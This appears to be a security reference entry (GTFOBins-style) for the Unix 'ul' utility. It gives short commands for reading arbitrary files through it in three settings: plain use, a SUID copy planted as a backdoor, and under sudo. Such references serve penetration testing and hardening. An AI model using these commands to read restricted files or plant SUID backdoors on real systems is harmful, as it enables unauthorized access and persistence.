The read file content is corrupted by replacing occurrences of $'\b_' to terminal sequences and by converting tabs to spaces.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
ul "$LFILE"It runs with the SUID bit set and may be exploited to access the file
system, escalate or maintain access with elevated privileges working as a
SUID backdoor. If it is used to run sh -p, omit the -p argument on systems
like Debian that allow the default sh shell to run with SUID privileges.
sudo sh -c 'cp $(which ul) .; chmod +s ./ul'
LFILE=file_to_read
./ul "$LFILE"It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
LFILE=file_to_read
sudo ul "$LFILE"